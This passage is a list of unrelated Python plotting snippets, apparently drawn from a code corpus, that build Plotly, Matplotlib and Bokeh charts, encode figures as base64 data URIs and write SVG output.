chart_info = get_chart_info(arg.coll_name, name) \n add_subplots(fig, els_counted, atts_counted, chart_info, name, arg.log)\n \n plt.tight_layout() \n save_figure(fig, arg.out, name)\n plt.close()","def update_plot(click, contents, filename, start_date, end_date, freq, window_length, mean_diff,\n max_diff, upper_ll, lower_ll, vardiff, slopedev):\n if click < 1:\n return\n\n # params = pd.read_json(params)\n # params = params.apply(pd.to_numeric)\n # params = params.sort_values('Run')\n\n window_length = int(window_length)\n mean_diff = float(mean_diff)\n max_diff = float(max_diff)\n upper_ll = float(upper_ll)\n lower_ll = float(lower_ll)\n slopedev = float(slopedev)\n vardiff = float(vardiff)\n\n\n df = utils.read_df(contents, filename)\n df = df[(df.index >= start_date) & (df.index <= end_date)]\n df = df[df.index.minute % freq == 0]\n is_clear, components, alpha = \\\n cs_utils.detect_clearsky(df['GHI'], df['GHIcs'], df.index,\n window_length=window_length, mean_diff=mean_diff,\n max_diff=max_diff, upper_line_length=upper_ll, lower_line_length=lower_ll,\n slope_dev=slopedev, var_diff=vardiff, return_components=True)\n\n df['GHIcs'] = df['GHIcs'] * alpha\n fig = tls.make_subplots(rows=2, cols=1, shared_xaxes=True)\n\n plots = []\n plots.append(go.Scatter(x=df.index, y=df['GHI'], name='GHI'))\n plots.append(go.Scatter(x=df.index, y=df['GHIcs'], name='GHIcs'))\n plots.append(go.Scatter(x=df[is_clear].index, y=df[is_clear]['GHI'], name='PVLib clear', mode='markers'))\n plots.append(go.Scatter(x=df.index, y=components['mean_diff'],\n name='Mean diff.', visible='legendonly'))\n plots.append(go.Scatter(x=df.index, y=components['max_diff'],\n name='Max diff.', visible='legendonly'))\n plots.append(go.Scatter(x=df.index, y=components['line_length'],\n name='Line length', visible='legendonly'))\n plots.append(go.Scatter(x=df.index, y=components['slope_nstd'],\n name='Slope std. dev.', visible='legendonly'))\n plots.append(go.Scatter(x=df.index, y=components['slope_max'],\n name='Max slope diff.', visible='legendonly'))\n\n for p in plots:\n fig.append_trace(p, 1, 1)\n\n plots2 = []\n passes = pd.DataFrame(components)\n for i, test in enumerate(['mean_diff_pass', 'max_diff_pass', 'line_length_pass',\n 'slope_nstd_pass', 'slope_max_pass']):\n slice = passes[test].astype(int)\n ii = i / 4\n yval = [ii] * len(slice.astype(bool) & passes['non_zero'].astype(bool))\n plots2.append(\n go.Scatter(x=df.index[:len(slice)][slice.astype(bool) & passes['non_zero'].astype(bool)],\n y=yval, name='', mode='markers', showlegend=False)\n )\n\n for p in plots2:\n fig.append_trace(p, 2, 1)\n\n fig['layout']['yaxis2'].update(tickmode='text', tickvals=[0, .25, .5, .75, 1],\n ticktext=['Mean diff.', 'Max diff.', 'Line length',\n 'Slope std. dev.', 'Max slope diff.'])\n fig['layout']['xaxis2'].update(title='Date')\n fig['layout']['yaxis2'].update(domain=[0, 0.2])\n fig['layout']['yaxis1'].update(title='GHI / W/m2')\n fig['layout']['yaxis1'].update(domain=[.25, 1])\n fig['layout'].update(height=500, margin={'l': 100})\n fig['layout'].update(title='Window length: {}, mean diff: {}, max diff: {}, upper line length: {}, '\n 'lower line length: {}, max slope difference: {}, std slope differece: {}'\n .format(window_length, mean_diff, max_diff, upper_ll, lower_ll, slopedev, vardiff))\n\n plots = fig\n\n layout = go.Layout(xaxis={'title': 'Date'}, # yaxis={'title': 'W/m2'},\n title='Window length: {}, mean diff: {}, max diff: {}, upper line length: {}, '\n 'lower line length: {}, max slope difference: {}, std slope differece: {}'\n .format(window_length, mean_diff, max_diff, upper_ll, lower_ll, slopedev, vardiff),\n )\n ts_plot = dcc.Graph(id='cs-plot', figure={'data': plots, 'layout': layout})\n\n # scores = [go.Scatter(x=list(range(len(params))),\n # y=params['F-score'],\n # text=utils.df_to_text(params), hoverinfo='text')]\n # scores_layout = go.Layout(xaxis={'title': 'Run', 'tickvals': [i for i in range(1, len(params))],\n # 'ticktext': [str(i + 1) for i in range(1, len(params))],\n # 'range': [0, len(params)]}, yaxis={'title': 'F-score'})\n # scores_plot = dcc.Graph(id='cs-scores', figure={'data': scores, 'layout': scores_layout})\n #\n # table = dt.DataTable(\n # rows=params[['Run', 'Window length', 'Mean difference', 'Max difference',\n # 'Upper line length', 'Lower line length', 'Variance of slopes',\n # 'Max difference of slopes', 'F-score']].round(3).to_dict('records'),\n # columns=['Run', 'Window length', 'Mean difference', 'Max difference',\n # 'Upper line length', 'Lower line length', 'Variance of slopes',\n # 'Max difference of slopes', 'F-score'],\n # selected_row_indices=[],\n # sortable=True,\n # filterable=True,\n # editable=False,\n # id='cs-param_table'\n # )\n\n final = html.Div([\n html.Div(ts_plot)\n ], style={'width': '98%', 'float': 'center', 'pad': {'l': 40}})\n\n return final","def make_room_inspector_graph(df, tag):\n p = figure(plot_width=300, plot_height=300, x_axis_type='datetime')\n p.line(df['datetime'], df[tag], line_width=2)\n p.xaxis.axis_label = \"time\"\n p.yaxis.axis_label = tag\n p.toolbar.logo = None\n return p","def sparkline(plot_df):\n\n figure = {\n \"data\": [\n go.Scatter(\n x=plot_df.iloc[:, 0],\n y=plot_df.iloc[:, 1],\n mode=\"lines\",\n text=plot_df.iloc[:, 1],\n line={\"width\": 3, \"color\": \"#262626\"},\n hoverinfo=\"none\",\n )\n ],\n \"layout\": go.Layout(\n margin={\"pad\": 0, \"l\": 10, \"r\": 10, \"t\": 10, \"b\": 10},\n xaxis={\n \"showgrid\": False,\n \"showline\": False,\n \"zeroline\": False,\n \"showticklabels\": False,\n },\n yaxis={\"showgrid\": False, \"zeroline\": False, \"showticklabels\": False},\n showlegend=False,\n autosize=True,\n paper_bgcolor=\"rgba(0,0,0,0)\",\n plot_bgcolor=\"rgba(0,0,0,0)\",\n ),\n }\n \n return figure","def render(self, chart):\n chart.create_visualization_files(self.__outputpath)","def charts(request):\n \n def histogram():\n x0 = np.random.randn(500)\n # Add 1 to shift the mean of the Gaussian distribution\n x1 = np.random.randn(500) + 1\n\n fig = go.Figure()\n fig.add_trace(go.Histogram(x=x0))\n fig.add_trace(go.Histogram(x=x1))\n\n # Overlay both histograms\n fig.update_layout(barmode='overlay')\n fig.update_layout(title='Histogram')\n # Reduce opacity to see both histograms\n fig.update_traces(opacity=0.75)\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\n return plot_div\n \n def box_plot():\n np.random.seed(1)\n y0 = np.random.randn(50) - 1\n y1 = np.random.randn(50) + 1\n\n fig = go.Figure()\n fig.add_trace(go.Box(y=y0))\n fig.add_trace(go.Box(y=y1))\n fig.update_layout(title='Box Plot')\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\n return plot_div\n \n def heat_map():\n \n np.random.seed(1)\n programmers = ['Alex','Nicole','Sara','Etienne','Chelsea','Jody','Marianne']\n base = datetime.datetime.today()\n dates = base - np.arange(180) * datetime.timedelta(days=1)\n z = np.random.poisson(size=(len(programmers), len(dates)))\n\n fig = go.Figure(data=go.Heatmap(\n z=z,\n x=dates,\n y=programmers,\n colorscale='Viridis'))\n\n fig.update_layout(\n title='Heat Map',\n xaxis_nticks=36)\n\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\n return plot_div\n \n def scatter():\n x1 = [1,2,3,4]\n y1 = [30, 35, 25, 45]\n text1 = ['A', 'B', 'C', 'D']\n trace = go.Scatter(\n x=x1, y = y1, text= text1, mode='markers+text'\n )\n layout = dict(\n title='Scatter Plots',\n xaxis=dict(range=[min(x1), max(x1)]),\n yaxis=dict(range=[min(y1), max(y1)])\n )\n fig = go.Figure(data=[trace],layout=layout)\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\n return plot_div\n\n context = {\n 'plot1':heat_map(),\n 'plot2':scatter(),\n 'plot3':histogram(),\n 'plot4':box_plot()\n }\n return render(request, 'base/charts.html', context)","def save_plot_as_image(self):\r\n plt.savefig(ROOT_DIR + '/presentation/images/' + self.folder + '/' + self.generated_image_name + '.png',\r\n bbox_inches='tight')","def generate_plot(chart: Chart) -> Figure:\n factory = ChartFactory(recipes=ChartService.get_supported_recipes(),\n data_frame_service=CommonServiceProvider.DataFrameService)\n plot = factory.create_object(document=chart)\n\n return plot","def _dump_plotly(objs, images, func):\n l = len(objs)\n #print(l)\n titles = []\n for i,x in enumerate(objs):\n if 'id' in x:\n titles.append('shape id %d' % x.id)\n else:\n titles.append('item %d' % i)\n fig = tools.make_subplots(rows=l, cols=1, subplot_titles = titles,print_grid=False )\n #print('figure attmpt: ')\n #fig['layout']['xaxis1'].update(title='monkeybar')\n #for x in fig['layout']['xaxis1']:\n #print(x)\n fig.layout.showlegend = False\n for i,x in enumerate(objs):\n traces,annotations,title = func(x,images[i])\n im = {\n \"source\": 'data:image/png;base64, ' + getbase64(images[i]),\n \"x\": 1,\n \"y\": 1 - i/(l-.5),\n \"sizex\": .5,\n \"sizey\": .5,\n }\n fig.layout.images.append(im)\n for t in traces:\n fig.append_trace(t,i+1,1)\n if title is not None:\n fig.layout['xaxis%d' % (i+1)].update(title=title)\n if annotations is not None:\n for a in annotations:\n a['xref'] = 'x%d' % (i+1)\n a['yref'] = 'y%d' % (i+1)\n fig.layout.annotations += annotations\n\n fig['layout'].update(height=400*l, width=1100, margin={\n 'l':80,\n 'r':330,\n 't':100,\n 'b':80,\n 'pad':0,\n 'autoexpand':True,\n },title='plots')\n\n return fig","def use_svg_display(): #@save\n display.set_matplotlib_formats('svg')","def fig_to_uri(in_fig, close_all=True, **save_args):\n out_img = BytesIO()\n in_fig.savefig(out_img, format='png', **save_args)\n if close_all:\n in_fig.clf()\n plt.close('all')\n out_img.seek(0) # rewind file\n encoded = base64.b64encode(out_img.read()).decode(\"ascii\").replace(\"\\n\", \"\")\n return \"data:image/png;base64,{}\".format(encoded)","def fig_to_uri(in_fig, close_all=True, **save_args):\n out_img = BytesIO()\n in_fig.savefig(out_img, format='png', **save_args)\n if close_all:\n in_fig.clf()\n plt.close('all')\n out_img.seek(0) # rewind file\n encoded = base64.b64encode(out_img.read()).decode(\"ascii\").replace(\"\\n\", \"\")\n return \"data:image/png;base64,{}\".format(encoded)","def to_svg(self, outfile, scaling, precision):\n if isinstance(self.ref_cell, Cell):\n name = self.ref_cell.name\n else:\n name = self.ref_cell\n transform = \"translate({} {})\".format(\n numpy.format_float_positional(\n scaling * self.origin[0], trim=\"0\", precision=precision\n ),\n numpy.format_float_positional(\n scaling * self.origin[1], trim=\"0\", precision=precision\n ),\n )\n if self.rotation is not None:\n transform += \" rotate({})\".format(\n numpy.format_float_positional(\n self.rotation, trim=\"0\", precision=precision\n )\n )\n if self.x_reflection:\n transform += \" scale(1 -1)\"\n if self.magnification is not None:\n transform += \" scale({})\".format(\n numpy.format_float_positional(\n self.magnification, trim=\"0\", precision=precision\n )\n )\n outfile.write('<use transform=\"')\n outfile.write(transform)\n outfile.write('\" xlink:href=\"#')\n outfile.write(name.replace(\"#\", \"_\"))\n outfile.write('\"/>\\n')","def to_svg(self, outfile, scaling, precision):\n if isinstance(self.ref_cell, Cell):\n name = self.ref_cell.name\n else:\n name = self.ref_cell\n transform = \"translate({} {})\".format(\n numpy.format_float_positional(\n scaling * self.origin[0], trim=\"0\", precision=precision\n ),\n numpy.format_float_positional(\n scaling * self.origin[1], trim=\"0\", precision=precision\n ),\n )\n if self.rotation is not None:\n transform += \" rotate({})\".format(\n numpy.format_float_positional(\n self.rotation, trim=\"0\", precision=precision\n )\n )\n if self.x_reflection:\n transform += \" scale(1 -1)\"\n mag = (\n \"\"\n if self.magnification is None\n else \" scale({})\".format(\n numpy.format_float_positional(\n self.magnification, trim=\"0\", precision=precision\n )\n )\n )\n for ii in range(self.columns):\n dx = scaling * self.spacing[0] * ii\n for jj in range(self.rows):\n dy = scaling * self.spacing[1] * jj\n outfile.write('<use transform=\"')\n outfile.write(transform)\n outfile.write(\n \" translate({} {})\".format(\n numpy.format_float_positional(\n dx, trim=\"0\", precision=precision\n ),\n numpy.format_float_positional(\n dy, trim=\"0\", precision=precision\n ),\n )\n )\n outfile.write(mag)\n outfile.write('\" xlink:href=\"#')\n outfile.write(name.replace(\"#\", \"_\"))\n outfile.write('\"/>\\n')","def save_mat_fig(trace_array, gtype=\"traceplot\"):\n # fig = Figure()\n if gtype == \"traceplot\":\n print(\"ENTER save_traceplot\")\n pm.traceplot(trace_array, figsize=(12,12))\n print(\"PLT.GCF()\")\n fig = plt.gcf()\n print(\"FIGURE\")\n buf = io.BytesIO()\n print(\"BUFF\")\n fig.savefig(buf, format=\"png\")\n data = base64.b64encode(buf.getbuffer()).decode(\"utf8\")\n elif gtype == \"posterior\":\n print(\"ENTER plot_posterior\")\n pm.plot_posterior(trace_array, figsize=(12,12))\n fig = plt.gcf()\n buf = io.BytesIO()\n fig.savefig(buf, format=\"png\")\n data = base64.b64encode(buf.getbuffer()).decode(\"utf8\")\n else:\n data = []\n return \"data:image/png;base64,{}\".format(data)","def get_sqlite_plot(db_file_path: str):\n # Get an SQLite plotly data\n fig, df_bt_range = PlotlyBottomTrackRangeLine().get_sqlite_plot(db_file_path)\n\n # Load the data from the file\n plot_title = \"Bottom Track Range\"\n\n # Create a Header\n st.subheader(plot_title)\n\n # Display a table of the data\n st.write(df_bt_range)\n\n # Create a streamlit plot\n st.plotly_chart(fig)","def VJ_Gene_Plot(clone_df, png = None, title = \"\", vgene_col = \"VGene\", jgene_col = \"JGene\", count_col = \"Clustered\",\r\n\t\t\t\t vgene_colors = vgene_colors, vfamily_colors = vfamily_colors, jgene_colors = jgene_colors,\r\n\t\t\t\t vj_gap = 0.008, vgene_gap = 0.0, line_width = 0.4, figsize = (800, 800), hover_tooltip = True):\r\n\r\n\tfigure_params = {\r\n\t\t\"plot_width\": figsize[0],\r\n\t\t\"plot_height\": figsize[1],\r\n\t\t#\"sizing_mode\": \"scale_both\",\r\n\t\t\"x_range\": Range1d(-0.5, 1.5, bounds = (-1.5, 2.5)),\r\n\t\t\"y_range\": Range1d(-0.5, 1.5, bounds = (-1.5, 2.5)),\r\n\t\t#\"outline_line_alpha\": 0.0,\r\n\t\t\"title\": title,\r\n\t\t\"tools\": \"pan, wheel_zoom, box_zoom, tap, save, reset, help\",\r\n\t\t\"active_scroll\": \"wheel_zoom\",\r\n\t\t\"toolbar_location\": \"right\"\r\n\t}\r\n\r\n\tplot = figure(**figure_params)\r\n\tplot.grid.visible = False\r\n\tplot.axis.visible = False\r\n\r\n\tif hover_tooltip:\r\n\t\thover_tool = HoverTool(tooltips = [(\"Gene\", \"@legend\"), (\"Percent\", \"@percent{(0.00%)}\")],\r\n\t\t\t\t\t\t\t\t\t point_policy = \"snap_to_data\")\r\n\t\tplot.add_tools(hover_tool)\r\n\r\n\tgene_df = clone_df[[vgene_col, jgene_col, count_col]].groupby([vgene_col, jgene_col]).agg({count_col: sum})\r\n\t#Sort by V gene ascending, then J gene ascending\r\n\tgene_df = gene_df.sort_index()\r\n\tgene_df = gene_df.reset_index()\r\n\r\n\ttotal_vgenes = len(gene_df[vgene_col].drop_duplicates())\r\n\ttotal_gapsize = total_vgenes * vgene_gap\r\n\tremaining_size = 360.0 - float(total_gapsize)\r\n\tgap_size = float(vgene_gap)\r\n\r\n\ttotal_counts = gene_df[count_col].sum()\r\n\tgene_df[\"Arc_Length\"] = gene_df[count_col] / total_counts * remaining_size\r\n\t#Starting at 90 degrees (top center of the circle) plus half the gap size\r\n\t#cur_v_start = -90.0 + (gap_size / 2.0)\r\n\tcur_v_start = 90.0 + (gap_size / 2.0)\r\n\r\n\tv_start_angles = []\r\n\tv_end_angles = []\r\n\tvgene_facecolors = []\r\n\tvgene_hover_colors = []\r\n\tvfamily_facecolors = []\r\n\tvfamily_hover_colors = []\r\n\tv_legend_text = []\r\n\tv_legend_percent = []\r\n\r\n\tj_start_angles = []\r\n\tj_end_angles = []\r\n\tjgene_facecolors = []\r\n\tjgene_hover_colors = []\r\n\tj_legend_text = []\r\n\tj_legend_percent = []\r\n\r\n\tfor vgene in gene_df[vgene_col].drop_duplicates():\r\n\t\tcur_vgene_df = gene_df[gene_df[vgene_col] == vgene]\r\n\t\tvfamily = vgene.split(\"-\")[0]\r\n\r\n\t\tvgene_color = vgene_colors[vgene]\r\n\t\tvgene_hover_color = vgene_color.darken(0.05)\r\n\t\tvfamily_color = vfamily_colors[vfamily]\r\n\t\tvfamily_hover_color = vfamily_color.darken(0.05)\r\n\r\n\t\tv_arc_length = cur_vgene_df[\"Arc_Length\"].sum()\r\n\t\tcur_v_end = cur_v_start + v_arc_length\r\n\r\n\t\tv_start_angles.append(cur_v_start)\r\n\t\tv_end_angles.append(cur_v_end)\r\n\r\n\t\tvgene_facecolors.append(vgene_color)\r\n\t\tvgene_hover_colors.append(vgene_hover_color)\r\n\t\tvfamily_facecolors.append(vfamily_color)\r\n\t\tvfamily_hover_colors.append(vfamily_hover_color)\r\n\r\n\t\tv_legend_text.append(vgene)\r\n\t\tcur_vgene_counts = cur_vgene_df[\"Clustered\"].sum()\r\n\t\tv_legend_percent.append(cur_vgene_counts / total_counts)\r\n\r\n\t\tcur_j_start = cur_v_start\r\n\t\tfor jgene, jgene_arc_length in zip(cur_vgene_df[jgene_col], cur_vgene_df[\"Arc_Length\"]):\r\n\t\t\tcur_j_end = cur_j_start + jgene_arc_length\r\n\r\n\t\t\tjgene_color = jgene_colors[jgene]\r\n\t\t\tjgene_hover_color = jgene_color.darken(0.05)\r\n\r\n\t\t\tj_start_angles.append(cur_j_start)\r\n\t\t\tj_end_angles.append(cur_j_end)\r\n\r\n\t\t\tjgene_facecolors.append(jgene_color)\r\n\t\t\tjgene_hover_colors.append(jgene_hover_color)\r\n\r\n\t\t\tcur_j_start = cur_j_end\r\n\r\n\t\t\tj_legend_text.append(jgene)\r\n\t\t\tcur_jgene_counts = cur_vgene_df[cur_vgene_df[jgene_col] == jgene][\"Clustered\"].sum()\r\n\t\t\tj_legend_percent.append(cur_jgene_counts / cur_vgene_counts)\r\n\r\n\t\tcur_v_start = cur_v_end + gap_size\r\n\r\n\tv_wedge_data = {\r\n\t\t\"start_angle\": v_start_angles,\r\n\t\t\"end_angle\": v_end_angles,\r\n\t\t\"fill_color\": vgene_facecolors,\r\n\t\t\"legend\": v_legend_text,\r\n\t\t\"percent\": v_legend_percent,\r\n\t\t\"vgene_facecolors\": vgene_facecolors,\r\n\t\t\"vfamily_facecolors\": vfamily_facecolors,\r\n\t\t\"hover_fill_color\": vgene_hover_colors,\r\n\t\t\"vgene_hover_colors\": vgene_hover_colors,\r\n\t\t\"vfamily_hover_colors\": vfamily_hover_colors\r\n\t}\r\n\tv_source = ColumnDataSource(v_wedge_data)\r\n\r\n\tv_inner_rad = 0.4\r\n\tv_outer_rad = 0.692\r\n\r\n\tplot.annular_wedge(x = 0.5, y = 0.5, start_angle = \"start_angle\", end_angle = \"end_angle\",\r\n\t\t\t\t\t fill_color = \"fill_color\", selection_fill_color = \"fill_color\",\r\n\t\t\t\t\t nonselection_fill_color = \"fill_color\", selection_fill_alpha = 1.0,\r\n\t\t\t\t\t nonselection_fill_alpha = 0.2, hover_fill_color = \"hover_fill_color\", inner_radius = v_inner_rad,\r\n\t\t\t\t\t outer_radius = v_outer_rad, line_color = \"black\", line_width = line_width, source = v_source,\r\n\t\t\t\t\t legend = \"legend\", start_angle_units = \"deg\", end_angle_units = \"deg\")\r\n\r\n\tj_wedge_data = {\r\n\t\t\"start_angle\": j_start_angles,\r\n\t\t\"end_angle\": j_end_angles,\r\n\t\t\"fill_color\": jgene_facecolors,\r\n\t\t\"legend\": j_legend_text,\r\n\t\t\"percent\": j_legend_percent,\r\n\t\t\"hover_fill_color\": jgene_hover_colors\r\n\t}\r\n\r\n\tj_source = ColumnDataSource(j_wedge_data)\r\n\r\n\tj_inner_rad = v_outer_rad + vj_gap\r\n\tj_outer_rad = j_inner_rad + 0.15\r\n\r\n\tplot.annular_wedge(x = 0.5, y = 0.5, start_angle = \"start_angle\", end_angle = \"end_angle\",\r\n\t\t\t\t\t fill_color = \"fill_color\", selection_fill_color = \"fill_color\",\r\n\t\t\t\t\t nonselection_fill_color = \"fill_color\", selection_fill_alpha = 1.0,\r\n\t\t\t\t\t nonselection_fill_alpha = 0.2, hover_fill_color = \"hover_fill_color\", inner_radius = j_inner_rad,\r\n\t\t\t\t\t outer_radius = j_outer_rad, line_color = \"black\", line_width = line_width, source = j_source,\r\n\t\t\t\t\t legend = \"legend\", start_angle_units = \"deg\", end_angle_units = \"deg\")\r\n\r\n\tif png is not None:\r\n\t\texport_png(plot, png)\r\n\r\n\tchange_v_color = CustomJS(args = {\"source\": v_source}, code = \"\"\"\r\n\t\tvar selection = cb_obj.value;\r\n\t\tvar new_color_array;\r\n\t\tvar new_hover_array;\r\n\t\tif(selection.toLowerCase().indexOf(\"gene\") !== -1) {\r\n\t\t\tnew_color_array = source.data[\"vgene_facecolors\"];\r\n\t\t\tnew_hover_array = source.data[\"vgene_hover_colors\"];\r\n\t\t} else {\r\n\t\t\tnew_color_array = source.data[\"vfamily_facecolors\"];\r\n\t\t\tnew_hover_array = source.data[\"vfamily_hover_colors\"];\r\n\t\t}\r\n\t\tvar fill_color = source.data[\"fill_color\"];\r\n\t\tvar hover_fill_color = source.data[\"hover_fill_color\"];\r\n\t\tfor(idx = 0; idx < fill_color.length; idx++) {\r\n\t\t\tfill_color[idx] = new_color_array[idx];\r\n\t\t\thover_fill_color[idx] = new_hover_array[idx];\r\n\t\t}\r\n\t\tsource.change.emit();\r\n\t\"\"\")\r\n\r\n\tv_data_color_by = Select(title = \"Color by:\", options = [\"V Gene\", \"V Family\"],\r\n\t\t\t\t\t\t\t value = \"V Gene\", callback = change_v_color)\r\n\r\n\tplot_layout = column(v_data_color_by, plot)\r\n\treturn plot_layout","def offline_plotly_scatter_bubble(df, x='x', y='y', size_col='size', text_col='text',\n category_col='category', possible_categories=None,\n filename=None,\n config={'displaylogo': False},\n xscale=None, yscale='log',\n layout={'hovermode': 'closest', 'showlegend': False, 'autosize': True},\n marker={'sizemode': 'area'},\n min_size=10,\n ):\n config_default = dict(DEFAULT_PLOTLY_CONFIG)\n marker_default = {\n 'size': size_col or min_size,\n 'sizemode': 'area',\n 'sizeref': int(df[size_col].min() * .8) if size_col else min_size}\n marker_default.update(marker)\n size_col = marker_default.pop('size')\n layout_default = {\n 'xaxis': XAxis(title=x, type=xscale),\n 'yaxis': YAxis(title=y, type=yscale),\n }\n layout_default.update(**layout)\n if config is not None:\n config_default.update(config)\n df.columns = clean_columns(df.columns)\n if possible_categories is None and category_col is not None:\n if category_col in df.columns:\n category_labels = df[category_col]\n else:\n category_labels = np.array(category_col)\n possible_categories = list(set(category_labels))\n possible_categories = [None] if possible_categories is None else possible_categories\n if category_col and category_col in df:\n masks = [np.array(df[category_col] == label) for label in possible_categories]\n else:\n masks = [np.array([True] * len(df))] * len(possible_categories)\n data = {'data': [\n Scatter(x=df[x][mask].values,\n y=df[y][mask].values,\n text=df[text_col][mask].values,\n marker=Marker(size=df[size_col][mask] if size_col in df.columns else size_col,\n **marker_default),\n mode='markers',\n name=str(category_name)) for (category_name, mask) in zip(possible_categories, masks)\n ],\n 'layout': Layout(**layout_default)\n }\n return offline_plotly_data(data, filename=filename, config=config_default)","def create_plot(x_var, y_var):\r\n\r\n FILE_PATH = 'application/star_data.csv'\r\n TARGET_VAR = 'star_type'\r\n SIZE_VAR = 'r_clipped'\r\n WIDTH = 1000\r\n HEIGHT = 600\r\n\r\n # Get the data\r\n df = pd.read_csv(FILE_PATH)\r\n fig = px.scatter(df, x=x_var, y=y_var, color=TARGET_VAR, size=SIZE_VAR, \r\n width=WIDTH, height=HEIGHT)\r\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\r\n\r\n return graphJSON","def index():\n # create table for original dataset\n table_1 = data_table_low(filepath = \"sparkify_data.csv\", title='Raw Sparkify Data')\n\n table_2 = data_table_low(filepath = \"cleaned_data.csv\", title='Cleaned Sparkify Data')\n\n # create and append plotly visuals into an array to be passed later for graphJSON file\n graphs = [table_1, table_2]\n\n # encode plotly graphs in JSON\n ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n\n # render web page with plotly graphs\n return render_template(\"master.html\", ids=ids, graphJSON=graphJSON)","def deciles_chart(\n df,\n period_column=None,\n column=None,\n title=\"\",\n ylabel=\"\",\n interactive=True,\n width=800,\n height=400,\n):\n\n df = compute_deciles(df, period_column, column, True)\n\n if interactive:\n\n fig = go.Figure()\n\n linestyles = {\n \"decile\": {\"color\": \"blue\", \"dash\": \"dash\"},\n \"median\": {\"color\": \"blue\", \"dash\": \"solid\"},\n \"percentile\": {\"color\": \"blue\", \"dash\": \"dash\"},\n }\n\n for percentile in np.unique(df[\"percentile\"]):\n df_subset = df[df[\"percentile\"] == percentile]\n if percentile == 50:\n fig.add_trace(\n go.Scatter(\n x=df_subset[period_column],\n y=df_subset[column],\n line={\"color\": \"blue\", \"dash\": \"solid\", \"width\": 1.2},\n name=\"median\",\n )\n )\n else:\n fig.add_trace(\n go.Scatter(\n x=df_subset[period_column],\n y=df_subset[column],\n line={\"color\": \"blue\", \"dash\": \"dash\", \"width\": 1},\n name=f\"decile {int(percentile/10)}\",\n )\n )\n\n # Set title\n fig.update_layout(\n title_text=title,\n hovermode=\"x\",\n title_x=0.5,\n width=width,\n height=height,\n )\n\n fig.update_yaxes(title=ylabel)\n fig.update_xaxes(title=\"Date\")\n\n # Add range slider\n fig.update_layout(\n xaxis=go.layout.XAxis(\n rangeselector=dict(\n buttons=list(\n [\n dict(\n count=1,\n label=\"1m\",\n step=\"month\",\n stepmode=\"backward\",\n ),\n dict(\n count=6,\n label=\"6m\",\n step=\"month\",\n stepmode=\"backward\",\n ),\n dict(\n count=1,\n label=\"1y\",\n step=\"year\",\n stepmode=\"backward\",\n ),\n dict(step=\"all\"),\n ]\n )\n ),\n rangeslider=dict(visible=True),\n type=\"date\",\n )\n )\n\n fig.show()\n\n else:\n px = 1 / plt.rcParams[\"figure.dpi\"] # pixel in inches\n fig, ax = plt.subplots(\n 1, 1, figsize=(width * px, height * px), tight_layout=True\n )\n\n deciles_chart_ebm(\n df,\n period_column=period_column,\n column=column,\n ylabel=\"rate per 1000\",\n show_outer_percentiles=True,\n ax=ax,\n )","def visualization_one(target_var = None, input_vars= None, output_image_name=None):\n ###\n # Main chunk of code here\n ###\n\n # Starter code for labeling the image\n plt.xlabel(None, figure = fig)\n plt.ylabel(None, figure = fig)\n plt.title(None, figure= fig)\n plt.legend()\n\n # exporting the image to the img folder\n plt.savefig(f'img/{output_image_name}.png', transparent = True, figure = fig)\n return fig","def plotlyfig2json(fig, fpath=None):\n\n redata = json.loads(json.dumps(fig.data, cls=PlotlyJSONEncoder))\n relayout = json.loads(json.dumps(fig.layout, cls=PlotlyJSONEncoder))\n\n fig_json=json.dumps({'data': redata,'layout': relayout})\n\n if fpath:\n with open(fpath, 'w') as f:\n f.write(fig_json)\n else:\n return fig_json","def use_svg_display():\n display.set_matplotlib_formats('svg')","def use_svg_display():\n display.set_matplotlib_formats('svg')","def use_svg_display():\n display.set_matplotlib_formats('svg')","def use_svg_display():\n display.set_matplotlib_formats('svg')","def use_svg_display():\n display.set_matplotlib_formats('svg')","def to_svg(self, separate=False, include_junctions=False):\n serialize_as_svg(self.output, separate, include_junctions)","def get_session_svg(viz_data):\n \n graph = Dot('graphname', graph_type='digraph')\n \n #loop create all nodes and store by id\n node_dict = {}\n for i, node_data in enumerate(viz_data['nodes']):\n id = node_data['id']\n node_dict[id] = str(i)\n graph.add_node(Node(str(i)))\n \n #add edges by links\n for link_data in viz_data['links']:\n snode = node_dict[viz_data['nodes'][link_data['source']]['id']]\n tnode = node_dict[viz_data['nodes'][link_data['target']]['id']]\n graph.add_edge(Edge(snode, tnode))\n \n #get svg of graph\n file = NamedTemporaryFile()\n graph.write_svg(file.name)\n svg = file.read()\n file.close()\n \n #f = open('/tmp/session/session.svg', 'w')\n #f.write(\"%s\\n\" % svg)\n #f.close()\n\n return svg","def pd_to_gif(data ,xyz ,name ,clrs=None):\r\n\r\n x, y, z = list(data[xyz[0]]), list(data[xyz[1]]), list(data[xyz[2]])\r\n clrs = list(data[clrs]) if clrs != None else ['blue']*len(x)\r\n\r\n lst = create_3d_graph(x, y, z, colors=clrs, fr=36,name=name)\r\n create_gif(lst, name)\r\n clean_workspace(lst)","def cb_save(event):\n fig.savefig('sample.univariate_discrete.py.png', dpi=300, format='png', transparent=True)","def save_fig(name, folder='', show=False):\n plt.tight_layout()\n path = 'Graphs/' + folder + '/' + name\n plt.savefig(path, bbox_inches='tight')\n if show == True:\n plt.show()\n plt.close()","def output_svg(self, string_to_output):\n self._output_object.add_report(string_to_output)","def data_visualization_general(data):\n path_to_save = str(Path(__file__).parent.parent) + '/jupyter_notebook/'\n key = list(data.keys())[0] # we do this way because keys() return a dict-keys which is not subscriptable\n df = pd.DataFrame(data[key])\n file_name = key + \".csv\"\n df.to_csv(os.path.join(path_to_save, file_name))\n # we save it in the jupyter_notebook folder so that it will be easier to show data on jupyter notebook","def _create_ga_plots(ga_agent, output_directory):\n\n # create trace for plot\n makespans_traces, makespans_layout = _make_ga_traces(ga_agent)\n\n # create plot\n plot(dict(data=makespans_traces, layout=makespans_layout),\n filename=str(output_directory / 'ga_makespans.html'),\n auto_open=False)\n\n # create schedule\n ga_agent.best_solution.create_schedule_xlsx_file(str(output_directory / 'ga_schedule'), continuous=True)\n ga_agent.best_solution.create_gantt_chart_html_file(str(output_directory / 'ga_gantt_chart.html'), continuous=True)","def plot_history(data):\n fig = go.Figure()\n for col in data.columns:\n fig.add_trace(go.Scatter(x=data.index, y=data[col], mode='lines', name=col))\n fig.update_xaxes(title_text=\"Time\",\n 